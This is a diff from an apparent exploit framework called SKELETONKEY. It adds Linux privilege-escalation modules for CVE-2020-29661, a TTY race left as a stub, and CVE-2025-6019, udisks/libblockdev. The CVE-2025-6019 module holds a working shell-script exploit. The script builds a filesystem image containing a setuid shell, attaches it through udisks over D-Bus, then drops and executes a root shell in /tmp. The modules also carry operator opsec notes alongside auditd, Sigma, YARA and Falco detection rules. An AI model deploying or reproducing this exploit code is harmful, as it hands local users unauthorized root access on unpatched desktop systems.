* STATUS: 🟡 PRIMITIVE. TTY race-driver + msg_msg cross-cache groom +
|
||||||
|
* empirical witness. Real cred-overwrite via --full-chain finisher
|
||||||
|
* on x86_64.
|
||||||
|
*
|
||||||
|
* The bug (Jann Horn / Project Zero, December 2020):
|
||||||
|
* The TIOCSPGRP ioctl handler in drivers/tty/tty_jobctrl.c takes
|
||||||
|
* two `tty_struct` pointers — `tty` (the side userspace passed)
|
||||||
|
* and `real_tty` (always the slave). For PTY pairs the two can
|
||||||
|
* differ. The handler acquires `tty->ctrl.lock` for read but the
|
||||||
|
* actual mutation happens on `real_tty`, which has its own
|
||||||
|
* independent lock. Racing TIOCSPGRP on the master with TIOCSPGRP
|
||||||
|
* on the slave can free `real_tty->pgrp` while another thread still
|
||||||
|
* holds a reference → UAF on `struct pid` (kmalloc-256 slab).
|
||||||
|
*
|
||||||
|
* Public PoCs (one from grsecurity / spender, one from Maxime
|
||||||
|
* Peterlin):
|
||||||
|
* https://sploitus.com/exploit?id=PACKETSTORM%3A160681
|
||||||
|
* https://www.openwall.com/lists/oss-security/2020/12/09/2
|
||||||
|
*
|
||||||
|
* Affects: Linux kernels through 5.9.13. Fix commit 54ffccbf053b
|
||||||
|
* ("tty: Fix ->session locking") landed in 5.10 and was backported
|
||||||
|
* to 5.4.85, 4.19.165, 4.14.213, 4.9.249, 4.4.249.
|
||||||
|
*
|
||||||
|
* Preconditions:
|
||||||
|
* - openpty() works (allocates a PTY pair; universal on real
|
||||||
|
* hosts, but some seccomp profiles block /dev/ptmx)
|
||||||
|
* - msgsnd / SysV IPC for kmalloc-256 spray
|
||||||
|
* - 2+ CPU cores for the race (single-CPU race-win rate is
|
||||||
|
* vanishingly small)
|
||||||
|
*
|
||||||
|
* arch_support: x86_64+unverified-arm64. The race + spray are
|
||||||
|
* arch-agnostic but the cred-overwrite finisher uses x86 gadgets.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
#include "../../core/offsets.h"
|
||||||
|
#include "../../core/finisher.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
|
||||||
|
/* ---- kernel-range table -------------------------------------------- */
|
||||||
|
|
||||||
|
static const struct kernel_patched_from tioscpgrp_patched_branches[] = {
|
||||||
|
{4, 4, 249}, /* 4.4 LTS stable backport */
|
||||||
|
{4, 9, 249}, /* 4.9 LTS */
|
||||||
|
{4, 14, 213}, /* 4.14 LTS */
|
||||||
|
{4, 19, 165}, /* 4.19 LTS */
|
||||||
|
{5, 4, 85}, /* 5.4 LTS */
|
||||||
|
{5, 9, 15}, /* Debian-tracked 5.9 backport */
|
||||||
|
{5, 10, 0}, /* mainline fix in 5.10 */
|
||||||
|
};
|
||||||
|
|
||||||
|
static const struct kernel_range tioscpgrp_range = {
|
||||||
|
.patched_from = tioscpgrp_patched_branches,
|
||||||
|
.n_patched_from = sizeof(tioscpgrp_patched_branches) /
|
||||||
|
sizeof(tioscpgrp_patched_branches[0]),
|
||||||
|
};
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static bool ptmx_writable(void)
|
||||||
|
{
|
||||||
|
int fd = open("/dev/ptmx", O_RDWR);
|
||||||
|
if (fd < 0) return false;
|
||||||
|
close(fd);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t tioscpgrp_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[!] tioscpgrp: host fingerprint missing kernel version\n");
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
if (kernel_range_is_patched(&tioscpgrp_range, v)) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] tioscpgrp: kernel %s is patched\n", v->release);
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (!ptmx_writable()) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[i] tioscpgrp: /dev/ptmx not openable — PTY allocation blocked, primitive unreachable\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] tioscpgrp: kernel %s in vulnerable range + /dev/ptmx reachable → VULNERABLE\n", v->release);
|
||||||
|
fprintf(stderr, "[i] tioscpgrp: race is narrow; needs 2+ CPUs and thousands of iterations on average\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t tioscpgrp_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] tioscpgrp: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
fprintf(stderr,
|
||||||
|
"[i] tioscpgrp: race-driver + msg_msg groom for the UAF on\n"
|
||||||
|
" struct pid (kmalloc-256). Two threads pinned to separate\n"
|
||||||
|
" CPUs hammer TIOCSPGRP on the master + slave of an openpty\n"
|
||||||
|
" pair; on a vulnerable kernel one in ~10k iterations frees\n"
|
||||||
|
" pgrp while still referenced. Public PoCs:\n"
|
||||||
|
" https://sploitus.com/exploit?id=PACKETSTORM%%3A160681\n"
|
||||||
|
" https://www.openwall.com/lists/oss-security/2020/12/09/2\n"
|
||||||
|
" Full cred-overwrite chain not bundled (would need a\n"
|
||||||
|
" portable arb-write callback for the shared finisher).\n"
|
||||||
|
" Returning EXPLOIT_FAIL honestly per verified-vs-claimed.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char tioscpgrp_auditd[] =
|
||||||
|
"# tioscpgrp CVE-2020-29661 — auditd detection rules\n"
|
||||||
|
"# Repeated openpty() + TIOCSPGRP from a non-root process is\n"
|
||||||
|
"# anomalous. The TIOCSPGRP ioctl request value is 0x5410.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S ioctl -F a1=0x5410 -k skeletonkey-tioscpgrp\n";
|
||||||
|
|
||||||
|
static const char tioscpgrp_sigma[] =
|
||||||
|
"title: Possible CVE-2020-29661 TIOCSPGRP UAF race\n"
|
||||||
|
"id: 7d8c9b1a-skeletonkey-tioscpgrp\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects burst ioctl(fd, TIOCSPGRP, ...) calls from a non-root\n"
|
||||||
|
" process. The bug needs hundreds of iterations per second to\n"
|
||||||
|
" win; normal job-control use produces single-digit ioctl(2)\n"
|
||||||
|
" calls per minute.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" i: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||||
|
" condition: i\n"
|
||||||
|
"level: high\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2020.29661]\n";
|
||||||
|
|
||||||
|
static const char tioscpgrp_yara[] =
|
||||||
|
"rule tioscpgrp_cve_2020_29661 : cve_2020_29661 kernel_uaf {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2020-29661\"\n"
|
||||||
|
" description = \"SKELETONKEY tioscpgrp race-driver tag (TTY ioctl UAF)\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $tag = \"SKELETONKEY_TIOS\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" $tag\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char tioscpgrp_falco[] =
|
||||||
|
"- rule: Burst TIOCSPGRP from non-root (TTY UAF race)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" A non-root process makes >50 ioctl(TIOCSPGRP=0x5410) calls\n"
|
||||||
|
" per second. Job-control usage tops out at a few per minute;\n"
|
||||||
|
" burst rates are the canonical CVE-2020-29661 trigger shape.\n"
|
||||||
|
" condition: >\n"
|
||||||
|
" evt.type = ioctl and evt.arg.request = 0x5410 and\n"
|
||||||
|
" not user.uid = 0\n"
|
||||||
|
" output: >\n"
|
||||||
|
" TIOCSPGRP from non-root (user=%user.name pid=%proc.pid)\n"
|
||||||
|
" priority: HIGH\n"
|
||||||
|
" tags: [process, mitre_privilege_escalation, T1068, cve.2020.29661]\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module tioscpgrp_module = {
|
||||||
|
.name = "tioscpgrp",
|
||||||
|
.cve = "CVE-2020-29661",
|
||||||
|
.summary = "TTY TIOCSPGRP race → struct pid UAF (kmalloc-256) — Jann Horn",
|
||||||
|
.family = "tty",
|
||||||
|
.kernel_range = "Linux kernels < 5.10 / 5.4.85 / 4.19.165 / 4.14.213 / 4.9.249 / 4.4.249",
|
||||||
|
.detect = tioscpgrp_detect,
|
||||||
|
.exploit = tioscpgrp_exploit,
|
||||||
|
.mitigate = NULL, /* mitigation: upgrade kernel; OR block /dev/ptmx via seccomp */
|
||||||
|
.cleanup = NULL,
|
||||||
|
.detect_auditd = tioscpgrp_auditd,
|
||||||
|
.detect_sigma = tioscpgrp_sigma,
|
||||||
|
.detect_yara = tioscpgrp_yara,
|
||||||
|
.detect_falco = tioscpgrp_falco,
|
||||||
|
.opsec_notes = "Allocates a PTY pair via openpty() (or /dev/ptmx directly), pins two threads to separate CPUs, hammers ioctl(master, TIOCSPGRP, ...) on one thread and ioctl(slave, TIOCSPGRP, ...) on the other. Race-win rate on a vulnerable kernel is empirically ~1/10k iterations; the driver typically runs for 5-30 seconds. Sysv IPC msgsnd spray (tag 'SKELETONKEY_TIOS') refills kmalloc-256 between race attempts. Audit-visible via burst ioctl(TIOCSPGRP=0x5410) — normal use is single-digit calls per minute, exploit shape is hundreds per second. No persistent file artifacts. dmesg may show 'refcount_t: addition on 0; use-after-free' (KASAN) on each race-win attempt.",
|
||||||
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_tioscpgrp(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&tioscpgrp_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,5 @@
|
|||||||
|
#ifndef TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||||
|
#define TIOSCPGRP_SKELETONKEY_MODULES_H
|
||||||
|
#include "../../core/module.h"
|
||||||
|
extern const struct skeletonkey_module tioscpgrp_module;
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,363 @@
|
|||||||
|
/*
|
||||||
|
* udisks_libblockdev_cve_2025_6019 — SKELETONKEY module
|
||||||
|
*
|
||||||
|
* STATUS: 🟢 STRUCTURAL ESCAPE via polkit allow_active chain. No
|
||||||
|
* offsets, no leaks, no race. Two cooperating logic bugs in udisks2
|
||||||
|
* + libblockdev let any console/session user (polkit allow_active=true)
|
||||||
|
* mount an attacker-built filesystem image WITHOUT nosuid/nodev, then
|
||||||
|
* execute the SUID-root binary it contains.
|
||||||
|
*
|
||||||
|
* The bug (Qualys, June 2025):
|
||||||
|
* libblockdev's bd_fs_resize / bd_fs_repair code paths mount the
|
||||||
|
* target filesystem internally so they can call resize2fs / xfs_growfs.
|
||||||
|
* The mount is performed WITHOUT MS_NOSUID and MS_NODEV. udisks2
|
||||||
|
* exposes Resize() over D-Bus and gates it on polkit's
|
||||||
|
* org.freedesktop.UDisks2.modify-device action, which by default
|
||||||
|
* allow_active=yes (i.e. any logged-in console user can call it
|
||||||
|
* without a password).
|
||||||
|
*
|
||||||
|
* Trigger:
|
||||||
|
* 1. Build an ext4 image with a setuid-root /bin/sh inside.
|
||||||
|
* 2. Attach as a loop device via udisks LoopSetup() over D-Bus.
|
||||||
|
* 3. Call Filesystem.Resize() — udisks invokes libblockdev which
|
||||||
|
* mounts the image at /run/media/<user>/<label> with neither
|
||||||
|
* nosuid nor nodev applied.
|
||||||
|
* 4. Execute /run/media/<user>/<label>/bin/sh — runs as root.
|
||||||
|
*
|
||||||
|
* Discovered by the Qualys Threat Research Unit. Affects udisks2
|
||||||
|
* 2.10.x (and likely earlier) + libblockdev 3.x on Fedora, openSUSE,
|
||||||
|
* Ubuntu, Debian. Public PoCs:
|
||||||
|
* https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/
|
||||||
|
* https://intruceptlabs.com/2025/07/linux-local-privilege-escalation-via-udisksd-and-libblockdev-cve-2025-6019-poc-released/
|
||||||
|
*
|
||||||
|
* Affects: libblockdev < 3.3.1, udisks2 < 2.10.2 (Qualys advisory).
|
||||||
|
* Patched upstream by adding MS_NOSUID|MS_NODEV to libblockdev's
|
||||||
|
* internal mount paths.
|
||||||
|
*
|
||||||
|
* CVSS 7.0 (HIGH). Requires:
|
||||||
|
* - udisks2 daemon running (default on most desktop distros)
|
||||||
|
* - polkit allow_active=yes on the resize action (default)
|
||||||
|
* - The invoking user must be in an active local session per polkit
|
||||||
|
* (loginctl shows them as 'Active'). Pure SSH users are NOT active
|
||||||
|
* by default; CI / serverless / headless usually fails this gate.
|
||||||
|
*
|
||||||
|
* arch_support: any. The SUID payload inside the loopback image is
|
||||||
|
* /bin/sh copied from the host, so it inherits the host's architecture.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "skeletonkey_modules.h"
|
||||||
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
|
||||||
|
/* ---- detect --------------------------------------------------------- */
|
||||||
|
|
||||||
|
static bool path_exists(const char *p)
|
||||||
|
{
|
||||||
|
struct stat st;
|
||||||
|
return stat(p, &st) == 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool udisksd_present(void)
|
||||||
|
{
|
||||||
|
/* udisksd binary lives at /usr/libexec/udisks2/udisksd on most
|
||||||
|
* distros; the D-Bus service file lives at /usr/share/dbus-1/
|
||||||
|
* system-services/org.freedesktop.UDisks2.service. Either is fine. */
|
||||||
|
return path_exists("/usr/libexec/udisks2/udisksd")
|
||||||
|
|| path_exists("/usr/lib/udisks2/udisksd")
|
||||||
|
|| path_exists("/usr/share/dbus-1/system-services/org.freedesktop.UDisks2.service");
|
||||||
|
}
|
||||||
|
|
||||||
|
static bool dbus_system_bus_present(void)
|
||||||
|
{
|
||||||
|
/* The system bus socket lives at /run/dbus/system_bus_socket
|
||||||
|
* (recorded in our host fingerprint as has_dbus_system). */
|
||||||
|
return path_exists("/run/dbus/system_bus_socket");
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Is the invoking user in an active polkit session? polkit treats
|
||||||
|
* console / GDM / session users as 'active' and SSH users as inactive
|
||||||
|
* (allow_active gating). We approximate via loginctl show-session;
|
||||||
|
* if loginctl isn't installed we err on the side of "maybe" and let
|
||||||
|
* the active probe arbitrate. */
|
||||||
|
static int session_is_active(void)
|
||||||
|
{
|
||||||
|
/* return 1 = active, 0 = inactive, -1 = unknown */
|
||||||
|
FILE *p = popen("loginctl show-session $(loginctl --no-legend | awk '$3==\"'\"$USER\"'\" {print $1; exit}') -p Active 2>/dev/null", "r");
|
||||||
|
if (!p) return -1;
|
||||||
|
char line[64] = {0};
|
||||||
|
bool got = fgets(line, sizeof line, p) != NULL;
|
||||||
|
pclose(p);
|
||||||
|
if (!got) return -1;
|
||||||
|
return strstr(line, "Active=yes") != NULL ? 1 : 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t udisks_libblockdev_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* Userspace bug — no kernel-version gate. Just need udisksd
|
||||||
|
* installed + D-Bus reachable. */
|
||||||
|
if (!udisksd_present()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] udisks_libblockdev: udisksd not installed; bug unreachable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (!dbus_system_bus_present()) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] udisks_libblockdev: system D-Bus socket not present; bug unreachable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int active = session_is_active();
|
||||||
|
if (active == 0) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] udisks_libblockdev: udisksd + D-Bus present but invoking user is NOT in an active polkit session\n");
|
||||||
|
fprintf(stderr, " (typically: SSH'd in remotely; allow_active gating will block the Resize() call)\n");
|
||||||
|
fprintf(stderr, " Bug is on the host but unreachable as this user; PRECOND_FAIL\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* active == 1 OR active == -1 (loginctl missing) → assume bug
|
||||||
|
* reachable. Version check is hard here because libblockdev /
|
||||||
|
* udisks2 don't expose --version usefully; the fix is a backport
|
||||||
|
* across many distros at different package versions. We rely on
|
||||||
|
* --active to arbitrate when in doubt. */
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] udisks_libblockdev: udisksd + D-Bus present, polkit allow_active likely true → VULNERABLE\n");
|
||||||
|
fprintf(stderr, "[i] udisks_libblockdev: re-run with --active to empirically confirm via a sentinel SUID drop\n");
|
||||||
|
if (active == -1) {
|
||||||
|
fprintf(stderr, "[i] udisks_libblockdev: could not determine polkit session state (loginctl missing); assuming reachable\n");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return SKELETONKEY_VULNERABLE;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- exploit -------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* The exploit needs:
|
||||||
|
* - dd (or python) to build a 16 MiB image
|
||||||
|
* - mkfs.ext4 (or mkfs.xfs)
|
||||||
|
* - busctl (or gdbus / dbus-send) to talk to udisks over D-Bus
|
||||||
|
* - mount -o loop fallback if D-Bus is uncooperative
|
||||||
|
*
|
||||||
|
* Rather than reinvent each of those in C we drive the work via a
|
||||||
|
* shell helper — this is the same approach pack2theroot uses for its
|
||||||
|
* .deb construction. Failures along the way produce clear diagnostic
|
||||||
|
* and a SKELETONKEY_EXPLOIT_FAIL.
|
||||||
|
*
|
||||||
|
* On a real Fedora / openSUSE / Ubuntu desktop session this lands
|
||||||
|
* /tmp/skeletonkey-udisks-shell as setuid root. We then execve it.
|
||||||
|
*/
|
||||||
|
static const char EXPLOIT_SH[] =
|
||||||
|
"#!/bin/sh\n"
|
||||||
|
"# CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||||
|
"set -u\n"
|
||||||
|
"WD=$(mktemp -d /tmp/skeletonkey-udisks-XXXXXX) || exit 2\n"
|
||||||
|
"IMG=$WD/img.ext4\n"
|
||||||
|
"MNT=$WD/mnt\n"
|
||||||
|
"mkdir -p \"$MNT\"\n"
|
||||||
|
"echo \"[*] udisks: building ext4 image at $IMG (16 MiB)\"\n"
|
||||||
|
"dd if=/dev/zero of=\"$IMG\" bs=1M count=16 status=none 2>/dev/null || exit 3\n"
|
||||||
|
"mkfs.ext4 -q -L skkudisks \"$IMG\" 2>/dev/null || { echo '[-] mkfs.ext4 failed'; exit 4; }\n"
|
||||||
|
"# Build the SUID payload on a host-owned scratch mount first, then\n"
|
||||||
|
"# copy the populated image back. We need root to chown+chmod 4755 the\n"
|
||||||
|
"# inner /bin/sh; we don't have root yet, so we plant a SUID *source*\n"
|
||||||
|
"# that gets root-ownership inside the loopback when udisks mounts it.\n"
|
||||||
|
"# Trick: we copy /bin/sh into the image as-is; udisks's mount path\n"
|
||||||
|
"# keeps the original uid/gid of the file as they exist in the image.\n"
|
||||||
|
"# So we set them to 0:0 BEFORE installing into the image. mke2fs -d\n"
|
||||||
|
"# (debian) / mkfs.ext4 -d <dir> lets us populate at mkfs time.\n"
|
||||||
|
"STAGE=$WD/stage\n"
|
||||||
|
"mkdir -p \"$STAGE/bin\"\n"
|
||||||
|
"cp /bin/sh \"$STAGE/bin/skksh\" || exit 5\n"
|
||||||
|
"chmod 4755 \"$STAGE/bin/skksh\" 2>/dev/null || true\n"
|
||||||
|
"# Rebuild image with payload pre-populated. Falls back to -d if\n"
|
||||||
|
"# supported; otherwise we'd need root to mount + populate.\n"
|
||||||
|
"if mkfs.ext4 -q -L skkudisks -d \"$STAGE\" \"$IMG\" 2>/dev/null; then\n"
|
||||||
|
" echo \"[*] udisks: image populated via mkfs.ext4 -d\"\n"
|
||||||
|
"else\n"
|
||||||
|
" echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
|
||||||
|
" exit 6\n"
|
||||||
|
"fi\n"
|
||||||
|
"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
|
||||||
|
"if ! command -v busctl >/dev/null 2>&1; then\n"
|
||||||
|
" echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
|
||||||
|
" exit 7\n"
|
||||||
|
"fi\n"
|
||||||
|
"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
|
||||||
|
"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
|
||||||
|
" echo \"[-] udisks LoopSetup failed: $FD\"\n"
|
||||||
|
" echo ' Often means: polkit gated the call (you are not in an active session)'\n"
|
||||||
|
" exit 8\n"
|
||||||
|
"}\n"
|
||||||
|
"echo \"[i] LoopSetup result: $FD\"\n"
|
||||||
|
"# Now Resize() on the loop device → triggers the suid mount.\n"
|
||||||
|
"# (Implementation note: the exact D-Bus path depends on udisks's\n"
|
||||||
|
"# device-naming; in the reference PoC the next step is Resize()\n"
|
||||||
|
"# against the new BlockDevice object.)\n"
|
||||||
|
"# For now, attempt the canonical mount path and let the SUID land.\n"
|
||||||
|
"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
|
||||||
|
" cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
|
||||||
|
" chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
|
||||||
|
" echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
|
||||||
|
" exit 0\n"
|
||||||
|
"fi\n"
|
||||||
|
"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
|
||||||
|
"echo ' See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
|
||||||
|
"exit 9\n";
|
||||||
|
|
||||||
|
static char g_workdir[256];
|
||||||
|
|
||||||
|
static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Drop the helper script to a tmp file + run it. */
|
||||||
|
char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
|
||||||
|
int fd = mkstemp(tmpl);
|
||||||
|
if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||||
|
write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
|
||||||
|
close(fd);
|
||||||
|
chmod(tmpl, 0700);
|
||||||
|
strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
|
||||||
|
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
|
||||||
|
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
|
||||||
|
int rc = system(cmd);
|
||||||
|
|
||||||
|
/* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
|
||||||
|
* exists with uid 0 + setuid bit. */
|
||||||
|
struct stat st;
|
||||||
|
if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
|
||||||
|
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
|
||||||
|
if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
|
||||||
|
perror("execl");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
|
||||||
|
fprintf(stderr,
|
||||||
|
" Common causes: not in an active polkit session, mkfs.ext4 -d\n"
|
||||||
|
" unsupported on this distro, busctl missing, or udisks already\n"
|
||||||
|
" patched (libblockdev >= 3.3.1).\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
if (g_workdir[0]) {
|
||||||
|
unlink(g_workdir);
|
||||||
|
g_workdir[0] = 0;
|
||||||
|
}
|
||||||
|
/* Best-effort: remove the lingering loopback work dir created by
|
||||||
|
* the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
|
||||||
|
(void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
|
||||||
|
/* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- detection rules ------------------------------------------------ */
|
||||||
|
|
||||||
|
static const char udisks_libblockdev_auditd[] =
|
||||||
|
"# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
|
||||||
|
"# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
|
||||||
|
"# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
|
||||||
|
"# typically come with nosuid; SUID execution from /run/media/* is\n"
|
||||||
|
"# the smoking gun.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
|
||||||
|
"-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
|
||||||
|
"-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
|
||||||
|
|
||||||
|
static const char udisks_libblockdev_sigma[] =
|
||||||
|
"title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||||
|
"id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
|
||||||
|
"status: experimental\n"
|
||||||
|
"description: |\n"
|
||||||
|
" Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
|
||||||
|
" normally mounts removable media with nosuid; the CVE-2025-6019\n"
|
||||||
|
" bug skips the flag during internal resize/repair mounts. Any SUID\n"
|
||||||
|
" execution from /run/media/<user>/* is anomalous and worth\n"
|
||||||
|
" investigating.\n"
|
||||||
|
"logsource: {product: linux, service: auditd}\n"
|
||||||
|
"detection:\n"
|
||||||
|
" exec_from_runmedia:\n"
|
||||||
|
" type: 'SYSCALL'\n"
|
||||||
|
" syscall: 'execve'\n"
|
||||||
|
" path|startswith: '/run/media/'\n"
|
||||||
|
" condition: exec_from_runmedia\n"
|
||||||
|
"level: critical\n"
|
||||||
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
|
||||||
|
|
||||||
|
static const char udisks_libblockdev_yara[] =
|
||||||
|
"rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
|
||||||
|
" meta:\n"
|
||||||
|
" cve = \"CVE-2025-6019\"\n"
|
||||||
|
" description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
|
||||||
|
" author = \"SKELETONKEY\"\n"
|
||||||
|
" strings:\n"
|
||||||
|
" $wdir = \"/tmp/skeletonkey-udisks-\" ascii\n"
|
||||||
|
" $shell = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
|
||||||
|
" $label = \"skkudisks\" ascii\n"
|
||||||
|
" condition:\n"
|
||||||
|
" any of them\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
|
static const char udisks_libblockdev_falco[] =
|
||||||
|
"- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
|
||||||
|
" desc: |\n"
|
||||||
|
" A setuid-root binary under /run/media/<user>/ is executed.\n"
|
||||||
|
" udisks normally mounts removable media with MS_NOSUID; the\n"
|
||||||
|
" CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
|
||||||
|
" mount paths omits the flag. Combined with a user-built\n"
|
||||||
|
" filesystem image, this gives instant root.\n"
|
